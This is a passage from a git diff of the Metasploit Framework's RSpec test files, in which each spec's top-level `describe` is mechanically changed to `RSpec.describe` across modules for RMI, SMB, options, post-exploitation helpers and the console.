'msf/core/exploit/java/rmi/client' -describe ::Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder do +RSpec.describe ::Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb index 34c9ada7c4..23cc798bcd 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index 7e03e1bea0..249e9c7c49 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -6,7 +6,7 @@ require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' require 'stringio' -describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do let(:list_with_names_response) do "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index f99eb14609..55ea3f837d 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -5,7 +5,7 @@ require 'rex/java/serialization' require 'rex/proto/rmi' require 'msf/core/exploit/java/rmi/client' -describe Msf::Exploit::Remote::Java::Rmi::Client do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Client do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client diff --git a/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb index 45c9909430..3ee90f24a2 100644 --- a/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'rex/java/serialization' require 'msf/core/exploit/java/rmi/util' -describe Msf::Exploit::Remote::Java::Rmi::Util do +RSpec.describe Msf::Exploit::Remote::Java::Rmi::Util do subject(:mod) do mod = ::Msf::Exploit.new mod.extend ::Msf::Exploit::Remote::Java::Rmi::Util diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb index b59d037cda..9c4947206a 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/close_spec.rb @@ -5,7 +5,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/exploit/smb/server/share' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb index af656f2305..ac3ca8d7ee 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/negotiate_spec.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb index b94ea59918..18835855ed 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/nt_create_andx_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb index 31d24d8038..62d9da0c34 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/read_andx_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb index d8316a6e0b..b0f99b9f11 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/session_setup_andx_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb index f4d861ee8b..7f8f628806 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/find_first2_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb index f161bd65df..e0e80c70e6 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_file_information_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb index 462ecfba55..67e353b5c5 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2/query_path_information_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb index 0c14918510..ed1f373351 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/command/trans2_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb index 2f36bdcaa7..2c3c4357a7 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/find_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb index 049d13d122..170fee63c9 100644 --- a/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb +++ b/spec/lib/msf/core/exploit/smb/server/share/information_level/query_spec.rb @@ -5,7 +5,7 @@ require 'msf/core' require 'msf/core/exploit/smb/server/share' require 'rex/proto/smb/constants' -describe Msf::Exploit::Remote::SMB::Server::Share do +RSpec.describe Msf::Exploit::Remote::SMB::Server::Share do subject(:mod) do mod = Msf::Exploit.new diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 7075f3281d..53e5c45015 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/framework' -describe Msf::Framework do +RSpec.describe Msf::Framework do context '#initialize' do subject(:framework) { described_class.new diff --git a/spec/lib/msf/core/module/failure_spec.rb b/spec/lib/msf/core/module/failure_spec.rb index 7b71b7d2a4..c185827f80 100644 --- a/spec/lib/msf/core/module/failure_spec.rb +++ b/spec/lib/msf/core/module/failure_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Module::Failure do +RSpec.describe Msf::Module::Failure do context 'CONSTANTS' do context 'None' do subject(:none) { diff --git a/spec/lib/msf/core/module_manager_spec.rb b/spec/lib/msf/core/module_manager_spec.rb index d311b07e6e..cda608c371 100644 --- a/spec/lib/msf/core/module_manager_spec.rb +++ b/spec/lib/msf/core/module_manager_spec.rb @@ -16,7 +16,7 @@ require 'tmpdir' require 'msf/core' -describe Msf::ModuleManager do +RSpec.describe Msf::ModuleManager do include_context 'Msf::Simple::Framework' let(:basename_prefix) do diff --git a/spec/lib/msf/core/module_spec.rb b/spec/lib/msf/core/module_spec.rb index 35b83bc7b1..a6bea2f517 100644 --- a/spec/lib/msf/core/module_spec.rb +++ b/spec/lib/msf/core/module_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'msf/core/module' -describe Msf::Module do +RSpec.describe Msf::Module do subject(:msf_module) { described_class.new } diff --git a/spec/lib/msf/core/modules/error_spec.rb b/spec/lib/msf/core/modules/error_spec.rb index b67c31308e..b0103a23a3 100644 --- a/spec/lib/msf/core/modules/error_spec.rb +++ b/spec/lib/msf/core/modules/error_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'spec_helper' -describe Msf::Modules::Error do +RSpec.describe Msf::Modules::Error do context 'instance methods' do context '#initialize' do include_context 'Msf::Modules::Error attributes' diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 0a5ac1e468..7eaf935d69 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core' -describe Msf::Modules::Loader::Base do +RSpec.describe Msf::Modules::Loader::Base do include_context 'Msf::Modules::Loader::Base' let(:described_class_pathname) do diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index f0c7e2ff01..8bff240c17 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -5,7 +5,7 @@ require 'msf/core/modules/loader/directory' require 'msf/core' -describe Msf::Modules::Loader::Directory do +RSpec.describe Msf::Modules::Loader::Directory do context 'instance methods' do include_context 'Msf::Modules::Loader::Base' diff --git a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb index f3ebffdcaf..e4daf5f67c 100644 --- a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb @@ -3,6 +3,6 @@ require 'spec_helper' require 'msf/core/modules/metasploit_class_compatibility_error' -describe Msf::Modules::MetasploitClassCompatibilityError do +RSpec.describe Msf::Modules::MetasploitClassCompatibilityError do it_should_behave_like 'Msf::Modules::Error subclass #initialize' end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 6dcc3c6e52..95d0318af5 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -4,7 +4,7 @@ require 'spec_helper' require 'msf/core' require 'msf/core/modules/namespace' -describe Msf::Modules::Namespace do +RSpec.describe Msf::Modules::Namespace do let(:module_path) do "parent/path/type_directory/#{module_reference_name}.rb" end diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb index e967e02f2c..28b8822ba0 100644 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb @@ -1,7 +1,7 @@ # -*- coding:binary -*- require 'spec_helper' -describe Msf::Modules::VersionCompatibilityError do +RSpec.describe Msf::Modules::VersionCompatibilityError do it_should_behave_like 'Msf::Modules::Error subclass #initialize' do let(:minimum_api_version) do 1 diff --git a/spec/lib/msf/core/opt_address_range_spec.rb b/spec/lib/msf/core/opt_address_range_spec.rb index 5b5a7f499b..d68ef73d48 100644 --- a/spec/lib/msf/core/opt_address_range_spec.rb +++ b/spec/lib/msf/core/opt_address_range_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptAddressRange do +RSpec.describe Msf::OptAddressRange do # Normalized values are just the original value for OptAddressRange valid_values = [ { :value => "192.0.2.0/24", :normalized => "192.0.2.0/24" }, diff --git a/spec/lib/msf/core/opt_address_spec.rb b/spec/lib/msf/core/opt_address_spec.rb index 82bdf64d28..74bcc467dc 100644 --- a/spec/lib/msf/core/opt_address_spec.rb +++ b/spec/lib/msf/core/opt_address_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptAddress do +RSpec.describe Msf::OptAddress do valid_values = [ "192.0.2.0", "127.0.0.1", "2001:db8::", "::1" # Normalized values are just the original value diff --git a/spec/lib/msf/core/opt_bool_spec.rb b/spec/lib/msf/core/opt_bool_spec.rb index 2b4b3c8c65..d639cd42ea 100644 --- a/spec/lib/msf/core/opt_bool_spec.rb +++ b/spec/lib/msf/core/opt_bool_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptBool do +RSpec.describe Msf::OptBool do valid_values = [ { :value => "true", :normalized => true }, { :value => "yes", :normalized => true }, diff --git a/spec/lib/msf/core/opt_enum_spec.rb b/spec/lib/msf/core/opt_enum_spec.rb index 5c882c98b4..14ccea4cbb 100644 --- a/spec/lib/msf/core/opt_enum_spec.rb +++ b/spec/lib/msf/core/opt_enum_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptEnum do +RSpec.describe Msf::OptEnum do it_behaves_like "an option", [], [], 'enum' diff --git a/spec/lib/msf/core/opt_int_spec.rb b/spec/lib/msf/core/opt_int_spec.rb index b9a4d4e5b2..042c0c02b1 100644 --- a/spec/lib/msf/core/opt_int_spec.rb +++ b/spec/lib/msf/core/opt_int_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptInt do +RSpec.describe Msf::OptInt do valid_values = [ { :value => "1", :normalized => 1 }, { :value => "10", :normalized => 10 }, diff --git a/spec/lib/msf/core/opt_path_spec.rb b/spec/lib/msf/core/opt_path_spec.rb index 9a7a793e43..dcb2ace6ca 100644 --- a/spec/lib/msf/core/opt_path_spec.rb +++ b/spec/lib/msf/core/opt_path_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptPath do +RSpec.describe Msf::OptPath do valid_values = [ { :value => __FILE__, :normalized => __FILE__ }, ] diff --git a/spec/lib/msf/core/opt_port_spec.rb b/spec/lib/msf/core/opt_port_spec.rb index e90f5133a2..cb35c0ac1d 100644 --- a/spec/lib/msf/core/opt_port_spec.rb +++ b/spec/lib/msf/core/opt_port_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptPort do +RSpec.describe Msf::OptPort do valid_values = [ { :value => "0", :normalized => 0 }, { :value => "65535",:normalized => 65535 }, diff --git a/spec/lib/msf/core/opt_raw_spec.rb b/spec/lib/msf/core/opt_raw_spec.rb index d0568eebe4..03868d7a21 100644 --- a/spec/lib/msf/core/opt_raw_spec.rb +++ b/spec/lib/msf/core/opt_raw_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptRaw do +RSpec.describe Msf::OptRaw do valid_values = [ { :value => 'foo', :normalized => 'foo' }, diff --git a/spec/lib/msf/core/opt_regexp_spec.rb b/spec/lib/msf/core/opt_regexp_spec.rb index 0ff0e623cc..45f4646d05 100644 --- a/spec/lib/msf/core/opt_regexp_spec.rb +++ b/spec/lib/msf/core/opt_regexp_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptRegexp do +RSpec.describe Msf::OptRegexp do valid_values = [ { :value => '^foo$', :normalized => /^foo$/ }, diff --git a/spec/lib/msf/core/opt_spec.rb b/spec/lib/msf/core/opt_spec.rb index 4421d9be4f..541265097b 100644 --- a/spec/lib/msf/core/opt_spec.rb +++ b/spec/lib/msf/core/opt_spec.rb @@ -1,6 +1,6 @@ require 'msf/core/opt' -describe Msf::Opt do +RSpec.describe Msf::Opt do subject(:opt) { described_class } it { is_expected.to respond_to(:CHOST) } diff --git a/spec/lib/msf/core/option_container_spec.rb b/spec/lib/msf/core/option_container_spec.rb index 1a8d26b86b..8df2a733dc 100644 --- a/spec/lib/msf/core/option_container_spec.rb +++ b/spec/lib/msf/core/option_container_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/option_container' -describe Msf::OptionContainer do +RSpec.describe Msf::OptionContainer do it "should create new options for it's args" do foo_inst = double("foo_inst") foo_inst.stub(:advanced=) diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index 7a707e41af..1eb6427328 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -1,7 +1,7 @@ require 'spec_helper' require 'msf/core/payload_generator' -describe Msf::PayloadGenerator do +RSpec.describe Msf::PayloadGenerator do include_context 'Msf::Simple::Framework#modules loading' let(:lhost) { "192.168.172.1"} diff --git a/spec/lib/msf/core/platform_spec.rb b/spec/lib/msf/core/platform_spec.rb index f9f4bccad1..027a8a4d1b 100644 --- a/spec/lib/msf/core/platform_spec.rb +++ b/spec/lib/msf/core/platform_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Platform do +RSpec.describe Msf::Platform do it 'is an alias for Msf::Module::Platform' do expect(described_class.name).to eq('Msf::Module::Platform') end diff --git a/spec/lib/msf/core/post/android/priv_spec.rb b/spec/lib/msf/core/post/android/priv_spec.rb index 527d58a03c..47fc51a66d 100644 --- a/spec/lib/msf/core/post/android/priv_spec.rb +++ b/spec/lib/msf/core/post/android/priv_spec.rb @@ -2,7 +2,7 @@ require 'msf/core/post/android/priv' -describe Msf::Post::Android::Priv do +RSpec.describe Msf::Post::Android::Priv do subject do mod = Module.new diff --git a/spec/lib/msf/core/post/android/system_spec.rb b/spec/lib/msf/core/post/android/system_spec.rb index e24bc0cbf0..d4323ac032 100644 --- a/spec/lib/msf/core/post/android/system_spec.rb +++ b/spec/lib/msf/core/post/android/system_spec.rb @@ -2,7 +2,7 @@ require 'msf/core/post/android/system' -describe Msf::Post::Android::System do +RSpec.describe Msf::Post::Android::System do subject do mod = Module.new diff --git a/spec/lib/msf/core/post/linux/busy_box_spec.rb b/spec/lib/msf/core/post/linux/busy_box_spec.rb index ea3f29bd23..790faf238f 100644 --- a/spec/lib/msf/core/post/linux/busy_box_spec.rb +++ b/spec/lib/msf/core/post/linux/busy_box_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/post/linux/busy_box' -describe Msf::Post::Linux::BusyBox do +RSpec.describe Msf::Post::Linux::BusyBox do subject do mod = ::Msf::Module.new mod.extend described_class diff --git a/spec/lib/msf/core/post/windows/mssql_spec.rb b/spec/lib/msf/core/post/windows/mssql_spec.rb index b7666afb46..b8f8d1174a 100644 --- a/spec/lib/msf/core/post/windows/mssql_spec.rb +++ b/spec/lib/msf/core/post/windows/mssql_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/post/windows/mssql' -describe Msf::Post::Windows::MSSQL do +RSpec.describe Msf::Post::Windows::MSSQL do let(:subject) do mod = Module.new mod.extend described_class diff --git a/spec/lib/msf/core/post/windows/priv_spec.rb b/spec/lib/msf/core/post/windows/priv_spec.rb index e30971ff10..19a8e851cc 100644 --- a/spec/lib/msf/core/post/windows/priv_spec.rb +++ b/spec/lib/msf/core/post/windows/priv_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/post/windows/priv' -describe Msf::Post::Windows::Priv do +RSpec.describe Msf::Post::Windows::Priv do subject do mod = Module.new diff --git a/spec/lib/msf/core/post/windows/runas_spec.rb b/spec/lib/msf/core/post/windows/runas_spec.rb index 4832a252a6..7a6bdf32eb 100644 --- a/spec/lib/msf/core/post/windows/runas_spec.rb +++ b/spec/lib/msf/core/post/windows/runas_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/core/post/windows/runas' -describe Msf::Post::Windows::Runas do +RSpec.describe Msf::Post::Windows::Runas do let(:process_info) do "\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00\x04\x00\x00\x00" end diff --git a/spec/lib/msf/core/reference_spec.rb b/spec/lib/msf/core/reference_spec.rb index 0e2d8f77ba..8027fea3b7 100644 --- a/spec/lib/msf/core/reference_spec.rb +++ b/spec/lib/msf/core/reference_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Reference do +RSpec.describe Msf::Reference do it 'is an alias for Msf::Module::Reference' do expect(described_class.name).to eq('Msf::Module::Reference') end diff --git a/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb b/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb index 06cdd96025..c3a227f54c 100644 --- a/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb +++ b/spec/lib/msf/core/rpc/v10/rpc_core_spec.rb @@ -5,7 +5,7 @@ require 'msf/core/rpc/v10/rpc_base' require 'msf/core/rpc/v10/rpc_core' require 'msf/core/rpc/v10/service' -describe Msf::RPC::RPC_Core do +RSpec.describe Msf::RPC::RPC_Core do include_context 'Msf::Simple::Framework' let(:service) do diff --git a/spec/lib/msf/core/site_reference_spec.rb b/spec/lib/msf/core/site_reference_spec.rb index 653bbce6d7..e887033bbd 100644 --- a/spec/lib/msf/core/site_reference_spec.rb +++ b/spec/lib/msf/core/site_reference_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::SiteReference do +RSpec.describe Msf::SiteReference do it 'is an alias for Msf::Module::SiteReference' do expect(described_class.name).to eq('Msf::Module::SiteReference') end diff --git a/spec/lib/msf/core/target_spec.rb b/spec/lib/msf/core/target_spec.rb index 9a21c8add2..9ff9017b75 100644 --- a/spec/lib/msf/core/target_spec.rb +++ b/spec/lib/msf/core/target_spec.rb @@ -1,6 +1,6 @@ require 'spec_helper' -describe Msf::Target do +RSpec.describe Msf::Target do it 'is an alias for Msf::Module::Target' do expect(described_class.name).to eq('Msf::Module::Target') end diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index e28b76212b..a2debece0a 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -2,7 +2,7 @@ require 'spec_helper' require 'msf/core/db_export' -describe Msf::DBManager::Export do +RSpec.describe Msf::DBManager::Export do include_context 'Msf::DBManager' subject(:export) do diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 2c732c9281..47ee28d2ec 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -11,7 +11,7 @@ require 'spec_helper' require 'metasploit/framework/database' require 'msf/core' -describe Msf::DBManager do +RSpec.describe Msf::DBManager do include_context 'Msf::DBManager' subject do diff --git a/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb index ad2c6e57f8..82c63c9854 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/ui' require 'msf/ui/console/command_dispatcher/auxiliary' -describe Msf::Ui::Console::CommandDispatcher::Auxiliary do +RSpec.describe Msf::Ui::Console::CommandDispatcher::Auxiliary do include_context 'Msf::DBManager' include_context 'Msf::UIDriver' diff --git a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb index 9e5ee10687..0789f6fe9c 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/core_spec.rb @@ -4,7 +4,7 @@ require 'msf/ui' require 'msf/ui/console/module_command_dispatcher' require 'msf/ui/console/command_dispatcher/core' -describe Msf::Ui::Console::CommandDispatcher::Core do +RSpec.describe Msf::Ui::Console::CommandDispatcher::Core do include_context 'Msf::DBManager' include_context 'Msf::UIDriver' diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 97955a95f4..efb93bc0e8 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/ui' require 'msf/ui/console/command_dispatcher/db' -describe Msf::Ui::Console::CommandDispatcher::Db do +RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do include_context 'Msf::DBManager' include_context 'Msf::UIDriver' diff --git a/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb index 827254a914..6d3ed47ccb 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/exploit_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'msf/ui' require 'msf/ui/console/command_dispatcher/exploit' -describe Msf::Ui::Console::CommandDispatcher::Exploit do +RSpec.describe Msf::Ui::Console::CommandDispatcher::Exploit do include_context 'Msf::DBManager' include_context 'Msf::UIDriver' diff --git a/spec/lib/net/dns/rr/classes_spec.rb b/spec/lib/net/dns/rr/classes_spec.rb index 7b2fc8cb90..5bdd535e95 100644 --- a/spec/lib/net/dns/rr/classes_spec.rb +++ b/spec/lib/net/dns/rr/classes_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'net/dns' -describe Net::DNS::RR::Classes do +RSpec.describe Net::DNS::RR::Classes do subject do described_class.new diff --git a/spec/lib/net/dns/rr/types_spec.rb b/spec/lib/net/dns/rr/types_spec.rb index 728525faad..b05753c72c 100644 --- a/spec/lib/net/dns/rr/types_spec.rb +++ b/spec/lib/net/dns/rr/types_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'net/dns' -describe Net::DNS::RR::Types do +RSpec.describe Net::DNS::RR::Types do subject do described_class.new diff --git a/spec/lib/rex/arch/sparc_spec.rb b/spec/lib/rex/arch/sparc_spec.rb index ed0c5b7721..b8ec74532a 100644 --- a/spec/lib/rex/arch/sparc_spec.rb +++ b/spec/lib/rex/arch/sparc_spec.rb @@ -3,7 +3,7 @@ require 'spec_helper' require 'rex/arch/sparc' -describe Rex::Arch::Sparc do +RSpec.describe Rex::Arch::Sparc do describe ".sethi" do subject { described_class.sethi(constant, dst) } diff --git a/spec/lib/rex/arch/x86_spec.rb b/spec/lib/rex/arch/x86_spec.rb index 